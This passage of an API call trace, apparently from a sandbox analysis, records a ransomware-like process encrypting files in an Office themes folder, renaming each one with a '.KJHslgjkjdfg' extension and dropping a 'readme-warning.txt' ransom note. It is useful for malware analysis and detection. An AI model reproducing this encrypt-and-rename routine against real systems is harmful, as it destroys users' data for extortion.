hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.874] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9ac, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x9ac, lpOverlapped=0x0) returned 1 [0172.874] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9b0) returned 1 [0172.875] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.875] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x9b0, lpOverlapped=0x0) returned 1 [0172.875] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.875] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.875] SetEndOfFile (hFile=0x12c) returned 1 [0172.878] GetProcessHeap () returned 0x990000 [0172.878] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.878] GetProcessHeap () returned 0x990000 [0172.878] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.887] CloseHandle (hObject=0x12c) returned 1 [0172.887] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.888] GetProcessHeap () returned 0x990000 [0172.888] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.888] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.888] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.888] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0172.890] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.891] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.891] GetProcessHeap () returned 0x990000 [0172.891] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.891] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.891] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.891] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.891] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.891] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.891] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.891] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.891] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.892] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.892] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.892] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.892] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4c1d, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4c1d, lpOverlapped=0x0) returned 1 [0172.893] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4c20, dwBufLen=0x4c20 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4c20) returned 1 [0172.894] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.894] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4c20, lpOverlapped=0x0) returned 1 [0172.894] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.894] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.894] SetEndOfFile (hFile=0x12c) returned 1 [0172.897] GetProcessHeap () returned 0x990000 [0172.897] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.897] GetProcessHeap () returned 0x990000 [0172.897] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.904] CloseHandle (hObject=0x12c) returned 1 [0172.904] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.904] GetProcessHeap () returned 0x990000 [0172.904] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.904] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.904] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.905] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.905] GetProcessHeap () returned 0x990000 [0172.905] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.905] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.905] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.905] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.905] GetProcessHeap () returned 0x990000 [0172.905] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0172.905] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.905] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0172.905] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.905] GetProcessHeap () returned 0x990000 [0172.905] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.905] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.905] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.905] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.906] GetProcessHeap () returned 0x990000 [0172.906] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.906] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.906] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.906] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.906] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.906] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.906] RegCloseKey (hKey=0x12c) returned 0x0 [0172.906] GetProcessHeap () returned 0x990000 [0172.906] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.906] GetProcessHeap () returned 0x990000 [0172.906] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.906] GetProcessHeap () returned 0x990000 [0172.906] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.906] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.906] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.907] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.907] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.907] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.907] GetProcessHeap () returned 0x990000 [0172.907] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.907] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.907] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.907] GetProcessHeap () returned 0x990000 [0172.907] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.908] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\readme-warning.txt") returned 79 [0172.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.908] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.910] CloseHandle (hObject=0x12c) returned 1 [0172.910] GetProcessHeap () returned 0x990000 [0172.910] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0172.910] GetProcessHeap () returned 0x990000 [0172.910] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0172.910] GetProcessHeap () returned 0x990000 [0172.910] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0172.910] GetProcessHeap () returned 0x990000 [0172.910] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.910] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0172.911] GetProcessHeap () returned 0x990000 [0172.911] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0172.911] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0172.911] GetProcessHeap () returned 0x990000 [0172.911] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x90) returned 0x9b0940 [0172.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0172.914] GetProcessHeap () returned 0x990000 [0172.914] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0172.914] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.914] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0172.914] GetProcessHeap () returned 0x990000 [0172.914] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x292) returned 0x9b1eb0 [0172.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.918] GetProcessHeap () returned 0x990000 [0172.918] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.918] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.918] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.918] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0172.922] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.922] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.922] GetProcessHeap () returned 0x990000 [0172.922] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.922] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.922] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.922] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.922] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.922] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.922] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.923] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.923] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.923] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.923] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.923] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.923] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xba32, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xba32, lpOverlapped=0x0) returned 1 [0172.925] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xba40, dwBufLen=0xba40 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xba40) returned 1 [0172.925] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.925] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xba40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xba40, lpOverlapped=0x0) returned 1 [0172.926] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.926] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xbb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.926] SetEndOfFile (hFile=0x12c) returned 1 [0172.930] GetProcessHeap () returned 0x990000 [0172.930] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.930] GetProcessHeap () returned 0x990000 [0172.930] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.930] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.kjhslgjkjdfg")) returned 1 [0172.936] CloseHandle (hObject=0x12c) returned 1 [0172.936] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0172.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.937] GetProcessHeap () returned 0x990000 [0172.937] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.937] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.937] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.937] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0172.939] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.939] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 